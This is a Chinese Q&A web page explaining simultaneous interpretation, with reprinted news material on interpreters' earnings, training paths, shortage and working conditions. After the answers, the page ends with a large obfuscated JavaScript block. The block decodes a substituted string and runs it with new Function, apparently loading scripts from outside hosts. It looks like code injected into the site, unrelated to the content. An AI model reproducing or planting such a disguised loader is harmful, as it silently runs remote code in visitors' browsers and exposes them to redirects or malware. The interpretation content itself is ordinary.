什么是同译员

我想知道什么是同议员~
2025-02-15 21:01:59
推荐回答(3个)
回答1:

同声传译是指口译员利用专门的同声传译设备,坐在隔音的同传室 俗称“箱子” 里,一面通过耳机收听源语发言人连续不断的讲话,一面几乎同步地对着话筒把讲话人所表达的全部信息内容准确、完整地翻译成目的语,其译语输出通过话筒输送。需要传译服务的与会者,可以通过接收装置,调到自己所需的语言频道,从耳机中收听相应的译语输出。

第二次世界大战结束后,设立在德国纽伦堡的国际法庭审判法西斯战犯时,首次采用同声翻译,这也是世界上第一次在大型国际活动中采用同声翻译。

同声传译是各种翻译活动中难度最高的一种翻译,常常被称为外语专业的最高境界。

收入最高的“钟点工”每天收入四五千

在上海市劳动和社会保障局近期发布的“非全日制就业人员工资指导价位”表中列出的54种行业里,同声传译以每小时最高2000元人民币的价格拔得头筹。

《北京晨报》记者找到一家北京的翻译公司,要到了同声传译价目表:英语类1天1.2万~2.1万元人民币,非英语类是1.8万元人民币。一般需要2~3位译员组成一个同声传译组进行交替工作,上述价格为一个小组一天的翻译价格,据此推断,同声传译最低一天收入4000元人民币。

“同声传译员一天的薪水相当于一个白领一个月的收入,他们一天能挣五六千。”新东方的老师们说。

中国对外翻译出版公司的同声传译员于洋告诉记者,他们参加一天会议的薪酬是5000元人民币,而有的会议薪酬则会更高。会议繁忙的时候,比如3~7月和9~12月往往日程都会排得很满,有的会议都需要提前一个多月预订。“优秀的译员在会议高峰的时候月收入可以达到4万元甚至更高,所以对于优秀译员年收入50万或者更多也不足为奇。”于洋说。

对于外界传言说同声翻译的报酬高达每小时三四千美元,有多年同声传译经历,还曾经为联合国秘书长安南担任过翻译的卢嘉祥在接受《北京青年报》记者采访时笑着表示没有这么多,但他坦言这是一个高收入的职业。“就拿北京来说,目前付给同声翻译的报酬一般是每天4000元人民币,这是每组三人的平均所得,如果不需要助手而独立完成翻译任务,最高的可以达到每天一万元以上。时间的计算按照8小时工作日进行,从会议开始到四个小时算半天,四个小时以上到八个小时算一天。此外,客户将支付同声翻译的食宿费用、机票费用、地面交通费用和其他有关费用,总的说来,收入很可观。”

不缺钱,就是缺人

同声传译人才属于全球稀缺人才,也是最难培养的人才之一。全球专业的同声传译人员总共也就2000多人,中国同声传译人才更是紧缺,据不完全统计,我国专业的同声传译人才30人左右,至于国际上流行的在经贸、科技、政法等各个领域学有所长的专业型同声传译人才仍是一片空白。

随着中国与世界交流的日益频繁,随着中国国际地位的提高,现在不管是哪里的国际会议,都离不开中文,都少不了来自中国的同声翻译。全球几乎天天都有国际会议,在中国召开的国际会议也越来越多,可以说同声翻译在国内和国际的市场都是巨大的。据说,欧盟和澳大利亚甚至还请中国老师为他们培训同声翻译,同声传译的市场前景越来越被看好了。

同声传译需求量成倍地增加,但是合格的同声传译的数量却增长非常缓慢。据介绍,目前专业的同声传译人才主要集中在北京、上海,广州都不多,其他城市举办国际性的会议更是缺乏同传人才,需要从北京和上海去聘请。于洋告诉《北京晨报》记者,上海、厦门、深圳、青岛、哈尔滨、无锡、常熟、西安等城市他都去做过同传。在同记者交谈的一个小时里他就接到3个会议的邀请,但是由于时间冲突,最终只能接受了其中一个会议。许多企业或组织拿着高薪四处寻觅优秀的同声传译人才,却往往很难得到满足。

想当“同传”,一个字“难”

同声传译之所以能拿到绝对的高薪是因为人才少,物以稀为贵,之所以人才少是因为“难”,想当“同传”,太难了。

有资格加入“同传”学习的首要条件是通过高级翻译资格考试,然后加试“同传”,通过后才算入门。而实际上,能通过初级翻译资格考试就已经相当于英语专业八级水平了,从目前进行过的2年4次考试情况来看,通过率不超过10%,而通过高级翻译资格的更是凤毛麟角,口译的“同传”还要在这个基础上再选优,可以说已经是登峰造极了。北京外国语大学高级翻译学院的一位老师介绍说。

北京语言大学负责同声传译教学的吴小璀老师告诉《北京晨报》记者,北京语言大学的同传专业每年只招收15名研究生,他们的课程设置也非常精心。“首先从母语开始锻炼,跟着新闻联播跟读,然后练习其他语言的跟读,每天坚持15分钟以上,而且保证不错1个字;然后练习翻译,这个过程贯穿3个学期。”吴老师把三个学期的具体过程展示给记者,第一学期给原稿看,翻译出来,然后进入翻译箱,训练翻译,用词造句和发音都进行调整;第二学期训练快速反应,此时老师不提供原稿,同学们过目了就进入翻译箱听声音进行翻译;第三学期没有原稿和译文,按照采访或者讨论的模式发言,同学直接翻译。“这样的训练过程是日本权威机构总结出来的,对提高同学的能力非常有效。”

北京外国语大学的老师告诉记者,即使这么苛刻的要求,这么地优中选优,读同声传译的研究生毕业后,能从事同声传译工作的并不多。“进入同声传译的门槛相当高,不是你读了研究生接受了相关培训或者考了同传的证书,就可以进入行业了,”于洋告诉记者,“公司或者客户在选择同声传译员时相当看重其参加过的会议经验,如果一个刚从学校毕业、没有经验的译员,几乎没有踏入同传圈子的资本。”

除了具备成熟的会议经验之外,进入同传行业还需要有很好的人际关系。吴小璀老师非常认同这一点。“进入同传一定要有人带。”

只能成功,不能出错

目前,我国还没有一个固定的机构来负责同声翻译的相关事宜,也没有一套统一的标准对同声翻译的工作进行考评。要看一个同声翻译究竟胜任不胜任,将会直接由所服务的会议各方来作出评价。一般会议结束后,主办单位、会场主席、专家、中国代表团、其他国家代表团都会对同声翻译的工作表示感谢,如果觉得你的工作很出色,他们会给予热情的赞扬,有的会直接邀请你下一次再和他们合作。如果同声翻译很糟糕,会场里当时就会有所反应,跺脚的、咳嗽的、说话的都有。

“外人看同声传译员,觉得我们是金字塔尖上的一群人,出入豪华酒店参加国际会议,收入一天顶别人一月,但进入同声传译这个行业非同寻常,行业里面的压力也非常人所知,在这里,你不能失败。”于洋这样告诉记者。

于洋向记者回忆了一次失败同声传译。那是在一个国际经济论坛上,当时与他搭档的一个译员工作经验不够,在翻译的过程中很多术语都没有翻译正确,而且对代表的发言内容没有把握好,所以翻译出来的内容让人摸不着头脑。会后,国外的一位客人愤怒地投诉说:“我花了1500万带着我的技术工人来开这个会议,但由于翻译的问题我们什么都没有听懂,这个损失无法弥补。”

于洋认为,这个行业的残酷之处也在于此,如果经历一次失败,不仅会给会议代表造成经济和精神损失,对译员而言,也会对以后的翻译存在心理障碍,并且愿意找他的客户也少了。因此,一般的会议上都由两三个同传译员搭档,每个人工作15分钟到半小时,然后就需要搭档替换。因为大脑一旦疲倦,就很难适应如此高速度和高压力的运转。

同声传译时小的细节也要注意。翻译箱里动静要小,因为翻译箱里的麦克非常敏感,哪怕是轻轻翻书的声音传到与会代表那里都是巨大的响动,所以译员要尽量避免小动作或者磕碰,女译员甚至要防止带大的耳环,以免造成响声。

日薪五千 提前预订:同声传译职业揭密
2005年11月17日 11:58

国际会议口译员协会中的27名中国会员

调查背景
仅27人获国际资格 主要集中在北京和上海

“外人看同声传译员,觉得我们是金字塔尖上的一群人,出入豪华酒店参加国际会议,收入一天顶别人一月,但进入同声传译这个行业非同寻常,行业里面的压力也非常人所知,在这里,你不能失败。”中国对外翻译出版公司的同声传译员于洋这样告诉记者。

同声传译面向市场的时间已经不短,但在很多人眼中,这还是一份充满神秘色彩的职业。记者走访了多位同声传译员以及培养同传人才的大学,他们不约而同地告诉记者:“进入同传是幸运,坚持下去是挑战。”

同声传译·工作:同传挑战脑力体力

■时间延迟:长短都有风险

时间延迟长了译员短时记忆负担重,延迟短了对句子理解可能不充分

11月12日,在国际土壤研讨会现场,记者感受到了同声传译的魅力。主讲人一开始发言,听众就可以通过耳机接听到几乎同速度、不同语言的发言。

“一般情况下,从演讲者开始讲话到译员开始传译,会有2至3秒钟的时间延迟。有的译员会跟得比较紧,时间延迟相对比较短;有的译员开始的时间较晚,采用相对较长的时间延迟,”中国对外翻译出版公司的同声传译员于洋告诉记者,“时间延迟较长,能够对句子的结构和整体意思有很好的把握,但是它的风险就是不断涌入的信息可能会给译员的短时记忆造成较大的负担;反之时间延迟较短,对译员的短期记忆压力较小,但其面对的风险是有可能对句子总体理解不够充分,容易冒进。虽然策略不同,但很难说哪种形式更好,要根据译员不同的特点和习惯来选择。”

同传译员对信息的接受能力很强,就是迅速吸收发言内容,在大脑中组织语言并迅速地脱口而出。留学归来、刚踏入同声传译门槛的徐然说:“同传人最需要的是短时记忆能力,记住一点内容马上说出去,如果内容在大脑里存储过多,脑袋会炸掉的。

■发言口音:最令译员头痛

方言口音浓重的发言和语速过快的发言,对译员及其搭档是个考验

在上海召开的一次国际会议上,同传译员冯京葆遇到了说话语速非常快的中方代表,而且夹杂着浓重的上海地方口音,“他不是在说普通话,而是在说上海普通话,这样的口音问题是译员比较头疼的,但我们也要很好地来处理。”冯京葆在自己的体会中表示,由于带有口音,而且说话语速掌握不好,他也难免听错某个词语,但等到说下一句话时,他就很快明白这个词语是什么意思,迅速加以调整。

在一次包括老挝、越南、柬埔寨、印尼、孟加拉国等国参加的东盟八国国际会议上,于洋遇到的外国代表的英文发音带有很重的口音,于洋笑称某些外国代表简直就是“interpreter killer(译员杀手)”。“其中一个国家的代表发言几乎就听不出是英文,但是那位代表讲得却激情四射,搞得我和搭档叫苦不迭。”

代表语速过快,也让译员很头疼。在国际电力和能源高峰论坛上,因为发言时间有限,一位代表讲话跟机关枪似的,“有的代表发言根本不顾译员,我们只能跟着节奏调整,后来台上的一位中方嘉宾中间休息的时候到翻译间来看我们,表示对我们高负荷工作的理解,他说别说翻成英文,就连代表的中文演讲也因为速度太快,他仅仅是听都跟不上。”

■工作搭档:成败在于配合

一个人翻译时,搭档可以帮他记一些数字或难记的概念

徐然说:“一般的会议上都由两个同传译员搭档,每个人工作15分钟到半小时,然后就需要搭档替换。因为大脑一旦疲倦,就很难适应如此高速度和高压力的运转。”

“翻译时选择一个好搭档至关重要,有时代表在说一些数字或者不容易记忆的概念时,一个译员翻译,他的搭档有可能就会帮他在纸上记录一些关键数字,在一定程度上能帮助其他译员。”于洋向记者回忆了他知道的一个搭档失败的故事。在一个国际经济论坛上,当时与他搭档的一个译员工作经验不够,在翻译的过程中很多术语都没有翻译正确,而且对代表的发言内容没有把握好,所以翻译出来的内容让人摸不着头脑。会后,国外的一位客人愤怒地投诉说:“我花了1500万带着我的技术工人来开这个会议,但由于翻译的问题我们什么都没有听懂,这个损失无法弥补。”

于洋认为,这个行业的残酷之处也在于此,如果经历一次失败,不仅会给会议代表造成经济和精神损失,对译员自己而言,也会对以后的翻译存在心理障碍,并且愿意找他的客户也少了。

同声传译时小的细节也要注意。翻译箱里动静要小,因为翻译箱里的麦克非常敏感,哪怕是轻轻翻书的声音传到与会代表那里都是巨大的响动,所以译员要尽量避免小动作或者磕碰,女译员甚至要防止带大的耳环,以免造成响声。

同声传译·收入:年入50万很普遍

译员一天会议薪酬5000元,会议高峰期日程排得很满

记者从新东方学校的老师处获知,同声传译员一天的薪水相当于一个白领一个月的收入。“他们一天能挣五六千,但可能一个月就工作两天,因为没有那么多的国际会议去参加。”新东方教六级的老师开玩笑说。

于洋告诉记者,这个老师说的情况在前几年可能属实,因为当时确实没有那么多国际性会议,但现在他开会就像赶场子。“我参加一天会议的薪酬是5000元人民币,而有的会议薪酬则会更高。会议繁忙的时候,比如3月至7月和9月至12月往往日程都会排得很满,有的会议都需要提前一个多月预订,”于洋说,“优秀的译员在会议高峰的时候月收入可以达到4万元甚至还要更高,所以对于优秀译员年收入50万或者更多也不足为奇。”

据同声传译专业网站介绍,目前专业的同声传译人才主要集中在北京、上海,广州都不多,其他城市举办国际性的会议更是缺乏同传人才,需要从北京和上海去聘请。于洋告诉记者,上海、厦门、深圳、青岛、哈尔滨、无锡、常熟、西安等城市都去过,做过同传。在记者同他交谈的一个小时里他就接到3个会议的邀请,但是由于时间冲突,最终只能接受了其中一个会议。

名词解释:同声传译

指的是借助专用设施将听到的或看到的源语言的信息内容,近乎同步地准确传译成目标语言。国际上的惯例是三人一组连续工作三个小时,休息两个小时后再工作三个小时。

翻译箱

同声传译需要通过一套专用同声传译设备,才可将所需语言传递给众多与会人员。国际会议同声传译设备主要由三大部分“主机”、“翻译器”、“接收机”组成;有时为了保持较好的翻译声音效果,还需一间“翻译箱”。译员在其中一边收听代表的发言,一边转换成不同的语言翻译出去。

同声传译·培养:好中选优“登峰造极”

有资格加入“同传”学习的首要条件是通过高级翻译资格考试,然后加试“同传”

■三个学期严格训练

北京语言大学负责同声传译教学的吴小璀老师告诉记者,北京语言大学的同传专业每年只招收15名研究生,他们的课程设置也非常精心。“首先从母语开始锻炼,跟着新闻联播跟读,然后练习其他语言的跟读,每天坚持15分钟以上,而且保证不错1个字;然后练习翻译,这个过程贯穿3个学期。”吴老师把三个学期的具体过程展示给记者,第一学期给原稿看,翻译出来,然后进入翻译箱,训练翻译,用词造句和发音都进行调整;第二学期训练快速反应,此时老师不提供原稿,同学们过目了就进入翻译箱听声音进行翻译;第三学期没有原稿和译文,按照采访或者讨论的模式发言,同学直接翻译。“这样的训练过程是日本权威机构总结出来的,对提高同学的能力非常有效。

■过“高翻”考试才是首关

北京外国语大学高级翻译学院的一位老师介绍说,高级翻译和口译人才的定位很高,以北外培养高级同声传译的途径来看,有资格加入“同传”学习的条件是要通过高级翻译资格考试,通过这个交互式考试仅仅才是第一步,之后还要加试“同传”,通过后才算入门。而实际上,能通过初级翻译资格考试就已经相当于英语专业八级水平了,从目前进行过的2年4次考试情况来看,通过率不超过10%,而通过高级翻译资格的更是凤毛麟角,口译的“同传”还要在这个基础上再选优,可以说已经是登峰造极了。

●同声传译·门槛

会议经验是资本

吴小璀老师主张,做同传的人要具备很高的语言能力,包括组织语言、用词标准、翻译迅速、表达易懂等,还要喜欢看书。“喜欢看书的人会涉及不同的知识面,参加的会议遍布各个领域,译员也必须有所涉足。”

北京外国语大学的老师告诉记者,读同声传译的研究生毕业后,能从事同声传译工作的并不多。

“进入同声传译的门槛相当高,不是你读了研究生接受了相关培训或者考了同传的证书,就可以进入行业了,”于洋告诉记者,“公司或者客户在选择同声传译员时相当看重其参加过的会议经验,如果一个刚从学校毕业、没有经验的译员,几乎没有踏入同传圈子的资本。”

除了具备成熟的会议经验之外,进入同传行业还需要有很好的人际关系。吴小璀老师非常认同这一点。“进入同传一定要有人带。”

国际认证很苛刻 同传人大都认可国际会议口译员协会,然而,记者从它的网站上看到,整个中国成为该协会会员的仅仅27人,其中17人在北京,10人在上海。在加入协会的规则中记者了解到,申请人必须具备超过150天的国际会议经验,同时与3个协会成员在一起工作过,并且需要协会成员的认可。 “说它苛刻,因为这些协会成员都是顶级的口译员,与他们在一起搭档需要机遇,首先是自身能力的提高,150天成功的国际会议也足以把一个不成熟的口译员锤炼出来,同时要做到这一步也并非易事,”于洋告诉记者,“说它可以实现,因为口译员这个圈子做得越好就越小,做得好圈子里的人都会知道,而且也乐于共事。”

●同声传译·链接

师资力量紧缺

由于同声传译人员对专业水平要求较高,国内师资力量存在紧缺现象,根据专业网站介绍,国内目前仅有北京外国语大学、上海外国语大学高级翻译学院、广州外语外贸大学等为数不多的高等院校开设同声传译人员的专业培训班。据悉,目前同声传译人才十分稀少,尤其是缺乏尖端的传译人才。

北京第二外国语大学的刘老师告诉记者,他们一直没有足够的师资力量开办同传专业,“因为很多老师平时都需要借助工具书进行翻译,而同传要求放弃工具书直接翻译,对两种语言的能力要求都太高了,培养同传人才需要非常过硬的环境才可以。”

联合国的翻译接力

在联合国,英文、法文、西班牙文及俄文翻译是两人一组,因为这几种语言是单向翻译,即英文翻译箱只负责把其他所有该箱子能听懂的语言翻译成英文给听众,以此类推,但这四种语言的翻译箱一般不负责将中文及阿拉伯文翻译成自己箱子的语言。这就要求中文和阿拉伯文箱子要将中文和阿拉伯文分别翻译成英文或法文,前四种语言箱子里的翻译再听翻译出来的英文或法文分别翻译成自己箱子的语言;这叫做“翻译接力”;这时,如果第一个翻译出的是英文,那么英文箱子就不用工作了。

回答2:

有一种职业叫同声传译,那个耳机里传出来的可不是什么机器翻译的,那可都是同传们劳心劳力翻译出来的结果。所谓的翻译机器,只是那个设备而已吧。

因为同传相当难做,你要一边听着一边就翻译出来,试想想即使一边说普通话一边译成你的家乡话都有难度,何况外语,所以好的同传非常难找,不仅要外语过硬还要专业知识够强,虽然提前都要作充分的准备看好多相关材料。而且体力要求很高,一般翻译半个小时就得换人,得几个人轮流才行,因为实在强度太大。他们的薪水都超高的说,最差最少的一天也有人民币4000,而且有时可能也就工作两三个小时。

回答3:

就是同声翻译
工资很高没错,可是对于英语的要求很高
一般一个小时能有2000多^-^

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();